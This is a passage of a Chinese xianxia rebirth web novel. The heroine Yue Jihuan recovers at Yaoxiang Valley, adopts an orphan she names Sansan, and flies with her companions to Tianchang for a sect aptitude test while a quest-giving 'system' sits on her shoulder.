刚和系统拌完嘴,门“吱呀”一声被推开,一道白裙身影走进来,女子手中端着药,见岳寄欢已经苏醒,她将药搁在一旁的小木桌上,温声问:“你醒了,感觉有哪里不舒服吗?”
岳寄欢看了眼放在旁边黑漆漆的药汤,摇了摇头:“我好多了,麻烦你,多谢。”
这女子温柔地笑了笑:“无妨,你没事就好,我不过是煨了些药,是我妹妹无瑕提前稳住了你的伤势,要谢也是谢她才对。”
见岳寄欢微微一怔,她又道:“我是无瑕的长姐,段裳裳,你叫我裳裳便好。”
岳寄欢应好,目光打量着段裳裳,思绪又飘忽不定。
虽说是姐妹,但段裳裳看着和段无瑕长相压根儿不是一个类型。段裳裳长相偏柔和,如果说段无瑕是三月迎春,那裳裳看上去,便是朵风中百合。
岳寄欢记忆里,段无瑕这个姐姐和她并非一母同胞,段无瑕的母亲似乎在她孩童时期就离世了,父亲段敏不过两年就又扶了一门正妻,正是段裳裳的母亲祝萤。
不久后这位新的谷主夫人产下一子,取名段夷。
岳寄欢知道的不多,这件事她还是听宗门里几个师姐凑在一起聊些闲谈秘闻时听来的,师姐们喝了酒,讲起话无所顾忌,只说这段家姐妹关系算不上好,段无瑕对段裳裳甚至到了厌恶的地步,毕竟自己母亲逝去两年父亲就娶了新的女人进门,同父异母,段裳裳比段无瑕还大上两岁。
任谁家本被父母亲捧在手心的姑娘都接受不了。
后面的岳寄欢也不清楚了,她前世只在飞仙大会之类的宗门集会上见过几次段无瑕,两人之间也就是互相叫得出名字的程度,此外她再与遥香谷的人无甚交集,更别提段裳裳了。
温柔的女声再次在耳边响起。
“好些就把药喝了吧。”裳裳端起药碗吹了吹:“不烫,你身上伤得多,喝下去会舒服些。”
岳寄欢接过药碗,碗里的药黑漆浓郁,闻着是一股浓烈的苦气,她这人从小到大最讨厌的就是喝药,不论苦甜。
甜的喝进嘴还有些滋味,心中稍有慰藉,至于喝苦药,岳寄欢觉得和上刑没什么区别。
她端着药碗,指尖摩挲着碗底,就是不喝。段裳裳见她这样,知晓这小姑娘是闻着药味太苦,有些喝不下去。
踌躇间,门又发出“吱呀”一声,走进来一黄一青两道身影,一个是段无瑕,另一个是谢忧。
谢忧看岳寄欢端着药碗不喝,走过来扫了这药两眼,转而望着她:“怕苦?怎么不喝药。”
段无瑕从旁边捞了个椅子坐下,她翘起腿:“良药苦口这么简单的道理你都不知?快些喝下去。”
两人你一言我一语,听着这两声催促,岳寄欢脸上也有些挂不住。
她吸了口气,三番两次端起药碗凑到唇边,纠结一会儿,最后还是闭眼一口闷了下去。
现如今,自己身体不比从前,想来她总不能因为一碗苦药矫情半天,还是身体要紧。
“咳...咳咳咳!”
药喝得太急,岳寄欢不可避免地呛了两声,只是谢忧也不知怎的,瞧她这样,鬼使神差地走上前拍了拍她的背。
他这一动作,倒是使在场所有人都怔愣住了。
包括他自己。
这举动...怎么说呢,在两个刚见了一面的人之间,未免沾染了几分亲昵的意味。
岳寄欢呛得更急。
青天白日的,有鬼。
谢忧快速缩回手,他刚刚简直鬼迷心窍,不,被鬼上身。
环视一圈神色各异的众人,少年摸了摸鼻子,难得解释了一下:“见她呛得急,我乐于助人。”
其他人:“......哦?”你看起来不像是什么喜欢乐于助人的人哦。
房间内因这个小插曲短暂地陷入沉默,几个人默契地不再提这件事,当作没看见。
岳寄欢昂头把药彻底喝了个干净,她想将碗放到桌上,段裳裳见她动作,快一步伸手接过药碗。
岳寄欢见状说了句谢谢裳裳姐,段裳裳道没事,随即朝房间里的其他二人请了离开,拿着药碗转身出门去了。
谢忧微微朝对方点头,至于段无瑕,听见这声顺口的“裳裳姐”,她瞥了眼坐在床上的岳寄欢,又侧身去盯段裳裳离开的背影,直到对方走出去关上门。
因着众人在房间里这一搅和,岳寄欢脑子清醒了大半,她这时才想起来跟着的小孩,急忙问:“跟着我的那个小孩子呢?”
“我让人带她去清洗吃饭了。”段无瑕接了话,没好气道:“那小孩儿瘦骨嶙峋的,估计饿了很久,你既是她姐姐,怎么,不给她吃饭吗?”
她语气里带了几分咄咄逼人的意味,盯着体格还算正常的岳寄欢看个不停,岳寄欢迟疑了一息,说:“那小孩是我刚捡的。”
“说是家里人被妖怪吃了,她孤身一人逃来羡水城,刚巧碰上了我。”岳寄欢见段无瑕脸色变幻莫测,定定地看着她:“怕是三界交界处一路逃来的。”
此话一出,段无瑕与谢忧皆是脸色一变。
三界交界处其实分的不是很清楚,尤其是人间与修仙界,几乎是呈现交纵错落的方式分布,两界间来往频繁,人间也有许多未入修仙的捉妖世家,大多时候,是修仙者与捉妖人共同捉妖斩邪,修仙界大多还负责除魔。
至于妖界,妖魔混杂,它同人间与修仙界间勉强算得上泾渭分明,交界处是终年极寒的魄雪山涧。<
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上一世岳寄欢就死在魄雪山涧里。
魄雪山涧极寒极冷,山涧一侧是妖界,一侧是人间与修仙界,三界间的魄雪山涧硬生生裂开一道极其宽的裂缝,山涧内伏有凶兽妖狗,凶险万分,因此,三界交界处只稀稀落落坐落了几座小城,交界处偶尔会爆发小规模的动乱,不过那边派了一部分修仙者和捉妖人镇守,倒也掀不起什么太大的风浪。
这小孩若真是三界交界处一个人逃过来的,其中发生的事情必然值得揣摩——那边怕是出事了。
房间内的三人各揣心思,屋内又安静下来,岳寄欢想了想,要问出嘴的话在口中转圜了几圈,她嚅嗫道:“师...刚刚那位宋哥哥呢?”
“宋哥哥?”谢忧挑唇,“宋师兄有急事,提前回去了。”
“他让我把这个给你。”谢忧从衣袖中取出一封信件,夹在手中晃了晃,“这几日寻仙山上宗门在招收新弟子,他可能瞧你甚是有缘分,问你若是想去做个仙家弟子,七日后拿了这信去天场。”
末了,他补充道:“他说你如果挂念家中亲人,不愿去,便安排人送你回家。”
岳寄欢一点没犹豫:“我去。”
谢忧把玩着手中的信件,没抬头:“想好了?年纪这般小,你家中...”
岳寄欢打断了他的话:“我家中只有我一人。”
谢忧一愣,一直不说话的段无瑕也抬眸望向岳寄欢。
只有一人。
怜悯过后,谢忧眯了眯眼。
这句话反而提醒了他,他终于知道救下岳寄欢后那种不对劲的感觉是从哪里来的了。
看起来十二三岁,手无缚鸡之力的小姑娘大半夜一个人在羡水城这种富裕之地逃亡,把伞妖伤的如此重,和他们谈话时甚至知道三界交界处的动乱,谢忧刚才拍岳寄欢背的时候顺手探了一下,这姑娘毫无灵力,显然还未开慧灵根,筑基练气。
这些事情堆在一起怎么看怎么怪,对方还朝他要了伞妖的妖丹。
妖丹可以重塑妖魔躯体魂魄,她一个普通的小姑娘要妖丹做什么?
谢忧可从来没信岳寄欢口中说的纪念品,这种显而易见的敷衍话鬼都不信。
且听刚才给岳寄欢换衣服的侍女禀报,这小姑娘手腕处有一道银色的月季花纹...
一般暗纹印记什么的,妖怪身上才会有。
虽然岳寄欢手上那个没什么力量波动,也不太像妖魔印记。
但仔细想想,她身上蹊跷之处太多。
谢忧心头多多少少生了怀疑,只是看着对方伤得实在严重,又以免打草惊蛇,至少在明面上,他暂且压下心中这点疑虑。
想了想,谢忧道:“那七日后我送你去天场吧,你一个人不认识路。”
目光落到岳寄欢眼睛上时,在谢忧眼里,对方眸子又冷又沉,浅琥珀色的眸子在日光下没什么生气,显得整个人发散着一股与年龄不是很相符的气质。
少年抿了抿唇,到底没说什么。
倒是一旁的段无瑕嚷了一声:“我也要去。”
“你好好待在谷里,去什么去。”谢忧将信件塞给岳寄欢,“难不成你还想拜入哪个宗门里吗?”
段无瑕听他这么说,有些不高兴:“我去替谷里挑选两个弟子回来,难道你要插手我遥香谷的事情?”
说罢,段无瑕不再理会谢忧,她想的没谢忧那么多,只是扭头转移了话题:“对了,还不知道你叫什么名字呢?”
阳春三月,窗缝中流进的天光渐亮,几丝璀璨耀眼的日光投到房间内,落成几块交错的光斑,几秒后,少女如金鸣玉振般的声音在房间内响起。
“岳寄欢,我叫岳寄欢。”岳寄欢仰头与段无瑕对视,眸色渐深,“你叫段无瑕,他是谢忧,对吗?”
7. 三三
“寄欢?”段无瑕把这两个字咀嚼了一圈,瞄了眼谢忧,“一个忧一个欢,别说宋师兄了,你俩瞧着才是有缘。”
说者无心听者有意。
岳寄欢有些尴尬,她没心情和谢忧扯上什么缘分,这一世若不是因为这次任务恰巧碰到谢忧,她入了凌云宗便再不去理会对方,对方救她一命,等她还了这个人情,上辈子的恩怨了了,再与这辈子无关。
她现在打心眼里觉得谢忧这人,甚是恐怖。
死前听见对方那句呢喃,她心中实在想不通这人怎么就这么恨她。
什么意思,做鬼也不放过她吗?
总不能是别的,岳寄欢心说,若不是她魂魄消散的快,谢忧这厮怕是做鬼也要缠着她,亲手把她挫骨扬灰。
想想都心惊。
她强迫自己从可怕的回忆中逃离,重生到现在不过一个月,有时候自己经常会沉浸在上一世的事情里,难以抽身。
像做梦一样。
少女缓慢眨眨眼,对着段无瑕温吞道:“也没有吧,这世上...”
她本想说这世上名字里带“欢”的人很多,那同谢忧有缘分的人也同样多,但她话说了半句,就听见谢忧开口:“是吗?那我和岳姑娘确实有缘分。”
他淡淡问道:“你不这么觉得吗?岳姑娘。”
这人现在说话时声音莫名冷淡,如冬日风雪。
谢忧不知又从哪里拉了个椅子坐着,挨在岳寄欢床边,岳寄欢腹诽:这人一天到晚阴晴不定,上一秒还看起来很好心地说要送她去天场,下一秒又变了性子,语气都凉嗖嗖的。
她就说这人凉薄的紧,冷漠无情。
岳寄欢心口不一,勉强扯出一个比哭还难看的笑:“那就是吧,我和...额,我同谢仙君当真是有缘的。”
谢忧抓着她话头不放:“你怎的喊宋师兄宋哥哥,喊我又叫谢仙君?”
他坐在椅子上,抱臂朝岳寄欢的方向倾了倾,仔细端详着岳寄欢的脸,似笑非笑道:“想来是我救的岳姑娘,不知道的,还以为是宋师兄呢。”
谢忧看的认真,好像要从岳寄脸上找到点什么。
对上这双似海的眼睛,岳寄欢下意识撑着床往里进了点儿,谢忧看着她的动作,神色没由来的又凉几分。
段无瑕见岳寄欢这样,以为她被谢忧吓到,插话进来:“人家宋师兄英俊潇洒温文尔雅,喊句哥哥怎么了?”
她起身将板凳挪到谢忧面前,把他往后挤了挤,翻了个白眼:“倒是你,一天到晚尽爱逗小姑娘玩,骚包。”
谢忧:“......呵。”
我就说你们这群小姑娘脾气暴。
岳寄欢没忍住,“噗嗤”笑出了声,段无瑕脸上也带了几分笑意,屋内的气氛活跃起来,“吱——”一声门又开了,岳寄欢以为是段裳裳来送药,她探出头往外边儿看了两眼,就见一个矮矮的身影轻轻关门走进来。
是小孩。
小孩见到岳寄欢就哭了。
她身上已经换了干净的衣服,干枯的头发被人用发带束起,整个人看上去比之前清爽了不少,岳寄欢看见她微微一顿,随后朝她招了招手,示意对方过来。
等着靠近,岳寄欢才瞧清楚这孩子脸上的泪痕。
她赶忙伸手去替对方抹泪:“怎么又哭?别哭,刚洗的脸又花了。”
小孩吸着鼻子,泪眼汪汪:“你不醒,我害怕。”
段无瑕从旁边取了张手帕递给小孩,小孩道了谢,把脸上的泪擦干净,岳寄欢同段无瑕交换了一下眼神,她从床上直起身子,伸手揽过小孩,难得温柔了一次:“现在我们没事了,所以可以告诉我你叫什么名字吗?几岁?”
“我如今十岁,我叫...我——”小孩愣了愣,随即抱着头埋到岳寄欢身前的被子里不肯说话,岳寄欢也没急着催她,或许是感受到旁边几道视线太过强烈,不久,小孩又从被子里缓慢抬起脑袋。
“我不知道。”她声音还是又细又哑,像只新生的小鸟,“我记不清楚了,只记得我爹爹和阿姐让我逃。”
“阿姐...阿姐。”小孩呢喃道,她很想哭,又伸手去抱岳寄欢,“她不见了,你能做我阿姐吗?我好想她,你救了我的命,我以后便一直跟着你。”
“名字也听你取,阿姐。”她哽咽道。
见小孩说话支离破碎,磕磕绊绊的,看上去被吓得不轻。
岳寄欢忽地记起来她刚见到这孩子的模样,这小孩当时一脸求死的平静表情她到现在还记得,等现在真正活下来,有了劫后余生的活感,小孩子才终于忍耐不住情绪。
她有些心疼,见对方又有点撒娇的意味,活脱脱一个幼童心,于是软了心肠:“行,行,我是你阿姐。”
“唔...那我暂且给你取个名字吧,三三怎么样?”
谢忧“啊”一声,打断了她:“三三是不是有点草率了?要不就叫...”
没想到他话一出口,刚刚还未答应的小孩立刻扬起脑袋,死死盯住谢忧:“我听阿姐的,就叫三三。”
谢忧气笑了:“......哈,行,听你阿姐的,三三,三三。”
岳寄欢其实也觉得喊三三有点子草率。
她一时想不起来别的名字,脑子里忽然闪过小时候抓到的一只小鸟,那鸟长得很漂亮,灰色的羽毛上独独生了三只青羽,别具特色,她当时就给那鸟取名“三三”,虽然那只鸟没过多久就跑了,但岳寄欢对这个名字印象很深,她觉得很顺口,这名字和那只胖乎乎的小鸟一样可爱。
现在看到这小孩说话就像小鸟一般细细的,生的清丽乖巧,在岳寄欢心里,叫三三也不失为一种夸赞。
当然,这些话她不会说给小孩听。
和一只小鸟同名,好像怪怪的。
想到这里,她伸手替这孩子擦了擦眼泪,继续问她:“三三,那你可还记得家中有哪些人,你从哪里来的?”
三三摇摇头:“不记得了,我只知晓我一直往东跑,跑来了这里。”
“东边,山。”三三破碎的记忆中闪过画面,突然道:“有山的缝隙!我家附近有一条很大的地缝,有雪,有山,我爹爹和阿姐被妖怪吃了...我...”
“我...”
三三似乎是回忆起了什么可怕的东西,说话断断续续,她捂着脑袋从床沿无力地滑下,嚎啕大哭,哭声愈发大,回响在空阔的房间里,段无瑕坐在三三那侧,见这孩子马上要倒在地上,她起身一把将三三捞起,虚虚扶着。
“来人。”段无瑕蹙眉,“把三三...”
她停了停,告诉进门来的侍女:“把这孩子带出去歇息,给她喂点安神汤。”
三三哭累了,被两位侍女抱着出了房间。
段无瑕捏了捏眉心:“我刚刚听人来报三...”,对于“三三”这个名字,她不知为何有点难以启齿,思虑几秒,段无瑕还是略带艰难地开口,“说她连清洗沐浴也不愿意让人帮忙,自己躲
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着洗完,吃饭也小心翼翼的。”
谢忧道:“估计就如岳姑娘所说,这小孩是从三界交界处逃来的,这天地四方间能有几个飘雪的地缝,想来想去也只有魄雪山涧了。”
谢忧说话时,尤其咬重了“岳姑娘”这三个字。
岳寄欢没注意,她只是想着又是魄雪山涧,三界交界处最易发生动乱,虽然上辈子根本没这回事。
上一世这个时间点她没听说魄雪山涧那边爆发了什么大规模动乱,也不知是不是这一世东西变幻太多,很多事情都改变了。
系统适时出声:“宿主,无需多想,这一世和上一世重叠的事情不会太多,总会出现些莫名其妙的新事件。”
它趴在岳寄欢肩上:“就像一条直直流淌的河,如果改变了河道,河水也会朝着新的方向而去,河流是有很多条分支的,周遭的风景也大有不同。”
岳寄欢叹了口气,想来也是,现在她多想也无用,调查这种事情,还需让仙门的人去。
她思绪混乱,又听谢忧说:“稍后我会将此事禀报给问肃堂,这件事交给他们去处理就好。”
谢忧说完便起身抖袍而去,临走前,他站在门口顿住了脚步,回头看向半躺着的岳寄欢:“岳姑娘好生歇息,七日后我来接你。”
他走的快,想来岳寄欢若真的是什么...罢了,在遥香谷也扯不出什么大乱子,把岳寄欢放在遥香谷,反而还更好差人盯着。
“不...”岳寄欢摇摇头,她刚想说不用麻烦,她认得去天场的路,谢忧却已关门离去。
见谢忧一走,段无瑕也拍了拍手站起身,她将椅子拖到一旁,叮嘱岳寄欢道:“我也先走了,你一个人在这里休息,若是有事喊人便好,有人守在屋外。”
岳寄欢朝她道了声谢,段无瑕摆摆手,掩门离开。
躺在床上,岳寄欢越想越乱,她只好喊门外的侍女给她喂了碗从三三那里讨来的安神汤,喝了便睡下,使自己沉静下来。
遥香谷的安神汤确实有效,不过一刻钟,她又带着疲乏和困倦睡着了。
腿上的重伤和身上细小的伤痕,似乎也随着梦慢慢消散。
*
岳寄欢这几日都住在遥香谷里,期间段裳裳来给她送了几次药。
听说谷中来了个谢忧一行人亲自送来遥香谷治伤的小姑娘,祝夫人也来看望了她,段无瑕则是会带着三三来找她玩,偶尔扶着她到遥香谷中转转,两人年龄相近,岳寄欢自动适应自己十三岁的身份,和段无瑕倒也意外相处得来。
遥香谷风景很好,清风初阳,地上栽了大片大片的各色花林与药田,谷中各处都弥漫着药香气味,可能是闻多了,岳寄欢觉得这药味儿闻着愈发舒心。
段无瑕这姑娘是个傲娇性子,这个年纪天真又单纯,凡事想的简单,最易交心。扶着岳寄欢出去好几次,她都暗戳戳暗示岳寄欢:“你一定要去天场吗?我看你腿伤还没好全,还是留在谷中安全。”
岳寄欢每次都回答她要去。
段无瑕坚持不懈地问。
岳寄欢看着她笑:“段小姐想我留在遥香谷吗?”
段无瑕侧头,拉着脸:“我可没有这么想!你别喊我段小姐,怪别扭的。”
“而且,我只是觉得,觉得,”她有些难为情,“我觉得我俩挺合得来,谷中又没什么人陪我玩...你若是想要留在遥香谷,我去求父亲将你收作弟子,三三,三三也能留下,做个丹修也很好,你觉得呢?”
8. 阿姐
听见段无瑕这么说,岳寄欢还有些讶异。
她印象里这姑娘傲气得很,不像什么能主动挽留别人的性子,想来也是小孩子玩心重,同姐妹间关系又不算好,自己一人孤零零的,现在好不容易遇到个说得上话的小姐妹,才动了这样的心思。
说段无瑕这姑娘性子傲,的的确确是真的。
上一世,对方在飞仙大会上炼丹那叫一个凶狠,练的全是高阶毒丹,一鼎比一鼎毒,硬要压着对手一头,颇有种“你敢比我厉害我就用丹药把你毒死,大不了同归于尽”的壮烈感。
那时的岳寄欢还和宋折镜偷偷说:“遥香谷段无瑕?段谷主家这姑娘炼制的丹药和她本人娇俏的模样看着实在不相符,全是毒丹,若是和她打架,毒发了才知道自己要死。”
宋折镜声音温润:“那幸好无瑕不会和我们对上,免了中毒的痛苦。”
想到这儿,岳寄欢有些难办地一甩头,段无瑕见她这样,又问:“怎么了,哪里不舒服吗?”
岳寄欢说:“没有。”
“无瑕。”岳寄欢下定决心一样开口,她尽量缓和着语气,莫名像个教育孩子的慈母,循循善诱,“我就算入了别的宗门也会同你玩,这个年纪,在一起的机会很多。”
不说岳寄欢心智已经百岁有余,可现在的段无瑕也不过十四岁,都是些孩童心性。
岳寄欢:“我志不在此,只想当个无拘无束的法修。”
段无瑕问:“宋师兄那样吗?”
岳寄欢肯定地点头:“是啊,成为丹修之类的,实在不适合我。”
“救死扶伤什么的...”岳寄欢朝她笑了笑,“还是适合你们这种心细纯良的人。”
“我只适合杀妖,杀无穷无尽的恶妖。”
*
七日后清晨,岳寄欢一行人浩浩荡荡启程去往天场。
其实是没有这么多人的,本身算不上什么“浩浩荡荡”。
除了执意要跟着岳寄欢的三三,送岳寄欢去的谢忧,硬要找“挑选弟子”这个生硬理由的段无瑕之外,段裳裳也跟着去了。
裳裳说:“今年天场新收弟子,父亲在外一时回不来,便让我同无瑕一起先去收几个新的丹修弟子,其他人随后来。”
她说这话时,看了眼抱着手一脸冷漠的段无瑕。
谢忧接过她手中的包袱,出于礼貌,他颔首:“那裳裳姐便同我们一道去吧。”
段无瑕瞬间不乐意,她跺了跺脚:“我一个人去就好了,你跟着添什么乱。”她又瞪了眼谢忧,“你还叫上姐姐了,要是这么想让她做你阿姐,你来这遥香谷做我父亲的女儿好了。”
她今日说话特别呛人,一点余地都不留。
段裳裳脸色有些难看。
谢忧呵了一声。
从小到大,他知晓段无瑕和段裳裳关系不算好,心中也尚且存有对她的包容和理解,直到今日又看对方不是很讲理的模样,谢忧心里头涌出些无可奈何,这股带着生气意味的情绪在心中飞了几圈,最后只能变为哭笑不得。
他抬起眉梢,拖着调子:“行,你去青鸾宫吧,别炼丹了,练剑别把自己伤着就行。”
段无瑕:“......”
段无瑕小时候不喜练剑,她八岁时被段敏亲自压着去青鸾宫和谢忧一起习剑,谢芍看管得严,她又要面子,于是刚去青鸾宫的时候,段无瑕练一天就能把自己伤的不轻,谢芍只能每天晚上抓着她涂药,一涂她就痛得不行,但她硬是忍着,一滴眼泪也不掉,只是偶尔会叫嚷两声。
这件事情勉强算得上陈年旧事,还有点子黑历史那味儿,听见谢忧拐着弯揭自己短,这段令段无瑕不太愉悦的回忆又从她的脑海里浮现,她咬牙切齿:“......你!”
她“你”了半天也没个所以然,干脆拎起裙摆转身就往外走,三三悄悄扯扯岳寄欢衣袖,小声道:“无瑕姐姐怎么了?”
岳寄欢刚想说她也不怎么清楚,又想起来件事情。
她记得,谢忧和段家姐妹因着青鸾宫与遥香谷之间的来往,好像很小就认识,如今大家也才是些十几岁的小孩,掐架争吵是常有的事情,再不济就是要照顾对方宗门的情面,二人也不会闹掰,过一会儿就又和好了。
岳寄欢拍了拍三三的头:“别担心,无瑕她待会儿就没事了。”
......
从遥香谷到达天场的距离有些远,若是步行,需要好几日才能到,不止遥香谷,其他几大宗门也离天场一样的远。寻仙山说是一座山,实际山上能算得称作一个新的世界,大部分门派都在寻仙山上,只有少数门派分布在人间各处,而天场位于各宗门呈环状排列中心的位置,是一个很大的广场,包括测试仙资,宗门比试等,都在这里进行。
天场选拔三年一次,飞仙大会则是十年一次,举办飞仙大会的那年天场选拔恰好轮空,要是说这二者有什么区别,那就是天场选拔没什么武力比试,主要是测试仙资根骨。
各宗门的人到天场,一般不会选择步行,都是御剑飞行,省时省力,效率高。
无论修习什么,修仙之人御剑用剑,当是最基本的东西。
虽说如今的修仙界各种修仙类型都有,但主要分为法修,剑修,丹修三种,下面又有符修、音修、体修等各种分支,法修宗门最盛当属凌云宗,剑修则是谢忧所在的青鸾宫,还剩丹修,那自然是遥香谷,其余各类宗门,还有多数未提。
不过也不是规定入了什么宗门便必须修习什么,比如凌云宗不一定要习法修,也可以练剑,只是哪个宗门修习什么最盛罢了。
御剑飞行,去天场一个时辰多便可以到。
谢忧已经将断水剑拔出,看向岳寄欢:“你腿好些了吗?”
岳寄欢看着他那把在日光下闪耀的断水剑,嗯了声:“好些了,我们要御剑去天场吗?”
“你知道得还挺多。”谢忧咕哝了一句,他出手将剑抛起,伸手掐诀,断水剑立刻横在脚下,静静泛着莹亮的光。
说话间,刚刚一气之下离开的段无瑕早已踏着剑朝天场的方向飞去,鹅黄色的身影化作一个光点消失在天空中,而身后的段裳裳也召出一把剑尖锋利的长剑,对方轻巧地跃上剑身,随后看向岳寄欢。
“你...”裳裳朝岳寄欢招了招手,她才出口一个字,就听见谢忧正色道:“岳姑娘,今日我来带你吧。”
他想借着御剑相处探探岳寄欢的虚实。
“不行!”
不料三三突然叫嚷了一声,意识到自己的声音有些突兀,她慢吞吞:“阿姐,我想和他一起。”
岳寄欢求之不得。
虽然大家现在都是些十三四岁、十四五岁的孩童和少年,两人乘一剑倒也没什么,但让她和谢忧共乘一剑,还不如让她步行,甚至爬着去天场。
绝对不行。
于是她笑眯眯地说:“好啊,那三三去和谢公子一起吧。”
谢忧:“......行,那三三来和我一起。”
他说这话时,有种说不出来的阴森感。
谢忧这人果然可怕。
岳寄欢转身就走,她这两日腿已经好很多了,能正常行走,虽然走不快。
裳裳扶了她一把:“小心,你抱紧我便是,无需害怕。”
岳寄欢很乖巧:“好。”
三月份进入春天,这两日天气很好,阳光和煦,万里无云,岳寄欢飞到空中才有了再次御剑的实感,有种恍如隔世的感觉。
系统不知道从哪里蹦出来:“宿主,这两日过的还好吗?”
这段时间系统尤其安静,安静到岳寄欢险些以为她和系统解绑了,直到拉开衣袖发现手腕上的月季花纹还在,她才从这种做梦一样的想法中脱离开来。
“你去哪里了?”岳寄欢问它,“我还好。”
系统摇头晃脑:“去办了点事情,你还好就行。”
见系统心情那么愉悦,岳寄欢意外地多看了它几眼:“你今天这么高兴?”
系统嘿嘿一笑:“因为有个惊喜,宿主,我之后有机会告诉你。”
系统这么说,想必岳寄欢问了它也不会现在就讲出来,
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岳寄欢也懒得挖根问到底,她抱紧身前的段裳裳,面颊迎着风吹。
这样舒服的日子可不多。
如果不是岳寄欢又听到“叮——”的一声,她还以为这种舒坦的感觉会一直持续到到达天场。
这是任务下达的声音。
系统在空中转了一圈:“宿主,有新的任务哦。”
【任务二:到达天场,顺利进入凌云宗,成为玄意座下弟子(任务进度:0%/100%)
成功奖励:一百五十积分,璇玑扇×1
失败惩罚:扣除一百五十点积分,扣除五点生命值】
岳寄欢扫了眼任务,疑惑地问:“这不是顺理成章的事情吗?还需要当成任务。”
系统转累了,躺在岳寄欢头顶:“奖励关吧。”
“还行,比上辈子的任务人性化。”她揶揄道。
见岳寄欢拐弯抹角地骂自己不是人,系统怒了,从她头顶“啪叽”飞下来:“什么叫人性...”
它骂了一半,突然记起来自己确实不是人。
它只是一个可爱的小系统。
想到这儿,系统闭了嘴,又躺回岳寄欢头顶去。
岳寄欢:“......”
我的头发是你的窝吗?
御剑飞行了约莫半个时辰,岳寄欢受伤那只腿一直站着,难免有些耐不住。
段裳裳发现身后的小姑娘有些发抖:“站不住了吗?”
岳寄欢摇头:“还好。”
她低头往下看了眼大地,地下一片绿色的丛林,丛林上方氤氲着一层轻薄白色的雾气,好像还能听见灵兽的嘶吼。
段裳裳察觉身后人的动作:“这是迷雾林,里面大多是些灵草灵药,还有灵兽。”
她见岳寄欢看得专注,又和她介绍:“等你入宗门习了法术便能进去,迷雾林还是危险,进去要小心行事。”
岳寄欢抱着她,发丝在风中飞扬,落了几丝遮住眼睛:“好,我知晓了。”
岳寄欢上辈子最爱去迷雾林摘一种名为“红红果”的绿色小果实吃。
这种绿色小果子汁多味甜,还能饱腹,简直是出门在外必不可少的食物。
虽然岳寄欢一直没想通绿果子为什么要取名“红红果”。
宋折镜也不太能解释这是为什么,岳寄欢最后拉着宋折镜一起去找了玄意,玄意告诉她:“这是我取的名字,怎么样,好听吗?”
岳寄欢:“......啊?”
玄意笑着戳了戳她额头:“至于为什么叫红红果嘛,是因为我就喜欢反着来。”
岳寄欢和宋折镜:“?”
师尊还真是...一身反骨。
想到玄意,岳寄欢眉眼间都含上笑,腿好像都没那么疼痛。
终于,要再次见到师尊了。
半个时辰后,终于到了天场。
岳寄欢是被段裳裳扶着下来的,段无瑕也扶了她一把。
这姑娘虽然嘴硬,但还是在见到他们的一瞬间就往这边跑,小孩子赌气情绪来得快去得也快,怒气消散的差不多了,她说话间添上几分女孩的娇嗔:“你们怎么才来,我等你们许久了。”
另一边,三三也是被谢忧扶着,不对,拎下来的。
三三捂着头:“你这人一点君子作风都没有,对我一个小姑...”
“小姑娘?”谢忧蹲下身,将三三往自己这边拉了拉,挡住岳寄欢她们那边的视线,“你是小姑娘还是小公子自己心里清楚。”
他伸手点了点三三肩膀:“小三三,你别骗你阿姐骗多了,把自己也给骗了,小孩子少撒谎。”
三三眼中闪过一丝慌乱:“你别乱说。”
他躲开谢忧带着点嘲弄的视线,发现自己肯定是瞒不住了,垂头丧气道:“你...你别和阿姐说,没她我早死了,死而新生,我如今什么都不记清楚,无论如何,她现在都是我阿姐。”
“她要是知道我是男孩儿,定要赶我走。”
三三抬起头,一脸屈辱:“别告诉她,行、行吗?谢哥哥。”
9. 天场
春光明媚,碧空如洗。
天场上来来往往的人很多,都是从各处前来测试仙资根骨的人,人群三三两两地站在一处,场上一片喧哗热闹,沸反盈天。
“宋师兄他们待会儿到,测试巳时开始,我们来的刚好,还有一刻钟。”段无瑕指了指天场最中央的一个巨大的玉砌高台,“那里是测试仙资的地方,天端台。”
岳寄欢循声望去,她上一世是由凌云宗的人直接带了测灵石去上京城测的仙资,入了宗门后也只见过别人上天端台,她自己倒是从未上过这仙台测试。
依照仙资仙骨选拔,测灵石测的是灵根与根骨,灵根分为最基础的金木水火土五行灵根,偶有异行灵根风冰雷类类,不过相比基础灵根出现的较少,根骨则大致分为上中下三等,三等中再分为一二三共三等,由此二者基础,再去择修习类型。
根骨越上,灵根愈少者,当属上品。
天场喧腾间,最中央的天端台中心浮起一块散着萤光的黑色曜石,随即有身着各色纹样道袍的人跃上台,一旁的段裳裳也随之而动:“马上要开始测试,我需带人先到天端台之上,无瑕,你要同我一道去吗?”
“我稍后来。”段无瑕没看段裳裳,她拉着岳寄欢往天端台下已经排了一长串的队伍走去,“要开始了,我陪你去排队。”
三三见这两人抬脚就走,急忙要跟上。
谢忧从后面拉了他一把。
“三三。”他笑吟吟,“别随着你阿姐去了,我带着你去天端台上等,还是说...你也要去测试灵根?”
三三眨眨眼,冲着谢忧露出一个不情不愿的笑,笑得比哭还难看:“我还小,就不参与这些了,我随你...谢哥哥去等阿姐吧。”
岳寄欢有些困惑地看了眼三三,三三这小孩平常与谢忧最不对付,怎的今天如此听对方的话,连谢哥哥都喊上了,乖顺得不正常。
谢忧摸了摸三三的头,夸赞道:“好孩子。”
三三:“......”
*
宋折镜眼尖,段无瑕才拉着岳寄欢往队伍这边走,他就看见一黄一紫两小只匆忙的身影。
他飞身而落:“无瑕——”
宋折镜转而望向岳寄欢。
岳寄欢赶忙道:“我叫岳寄欢,叫我寄欢就可以。”
宋折镜从善如流,点头喊她:“好,寄欢。”
“想来你已看过那封信件了。”宋折镜下意识看看岳寄欢垂落在身旁的手:“也不知为何,第一次见到你就觉得甚是合缘,便觉得你可能是个修仙习法的好苗子,待会测了仙资,我们还有机会做同门。”
岳寄欢默默在心里道,你当然瞧我有缘,我俩已经成了一辈子的师兄妹了。
“不一定呢,若小欢是木火灵根,”段无瑕吐了吐舌,调皮道:“她和我说不定才是同门。”
段无瑕这姑娘还没放弃把岳寄欢拐到遥香谷的心思。
岳寄欢听闻露出一个浅笑,宋折镜语调轻松起来:“小欢?你二人玩得倒是合拍,这样也好,应了你找个玩伴的心。”
“我不陪你们聊了。”宋折镜回身看向天端台,“马上开始了,我在台上等你们。”他和煦地微笑,“寄欢,祝你好运。”
岳寄欢捏了捏掌心:“好。”
宋折镜转身离去,此时的天端台下已经排了好长一条队伍,大多都是从人间拿了仙门在人间散布的推介信来的,宋折镜给岳寄欢信中也只有短短一句话。
若是你有心入仙门习剑修法,七日后我在寻仙山上天场等你。
宋折镜留
想到这封信,岳寄欢垂眼,轻轻弯了弯唇角。
段无瑕摇摇她手臂:“笑什么呢,这么开心。”
